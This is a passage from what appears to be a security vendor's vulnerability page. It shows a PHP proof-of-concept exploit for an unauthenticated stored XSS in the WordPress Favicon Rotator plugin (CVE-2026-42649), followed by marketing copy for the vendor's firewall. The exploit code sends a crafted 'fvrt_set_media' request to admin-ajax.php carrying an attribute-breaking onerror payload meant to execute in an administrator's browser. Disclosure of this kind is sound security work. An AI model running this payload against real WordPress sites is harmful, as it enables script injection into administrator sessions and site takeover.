 * AJAX upload handler. An attacker with no authentication can inject arbitrary JavaScript
 * that executes when an administrator views the Favicon Rotator settings page.
 */

$target_url = 'http://example.com';  // CHANGE THIS
$payload = '" onerror="alert(1)" data-xss=';  // Malicious payload to inject into filename or URL

function exploit_xss($base_url, $payload) {
    $ch = curl_init();
    
    // Step 1: Get the admin AJAX URL and a valid nonce (if required)
    // However, since the vulnerability is unauthenticated, we can directly target
    // the media upload endpoint. The plugin registers AJAX handlers for
    // 'fvrt_media_upload' and 'fvrt_set_media' actions.
    
    // The vulnerable point is the 'type' parameter in class.media.php line 315.
    // But direct exploitation is easier via the icon URL stored in options.
    // The plugin stores icon IDs in post meta via set_media AJAX handler.
    
    // Send a POST request to set_media endpoint with XSS payload
    $ajax_url = $base_url . '/wp-admin/admin-ajax.php';
    
    $post_data = [
        'action' => 'fvrt_set_media',
        'fvrt_set_media' => [
            '0' => $payload  // This ID is echoed without sanitization
        ],
        'post_id' => '1'
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $ajax_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded',
            'User-Agent: AtomicEdge-PoC/1.0'
        ],
        CURLOPT_FOLLOWLOCATION => false,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "[+] HTTP Status: $http_coden";
    echo "[+] Response: $responsen";
    
    if ($http_code == 200 && strpos($response, 'script') !== false) {
        echo "[!] Exploit likely reflected. Check the admin page for execution.n";
    } else {
        echo "[-] Exploit may not have executed as expected.n";
    }
}

echo "Favicon Rotator CVE-2026-42649 PoCn";
echo "Target: $target_urlnn";
exploit_xss($target_url, $payload);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School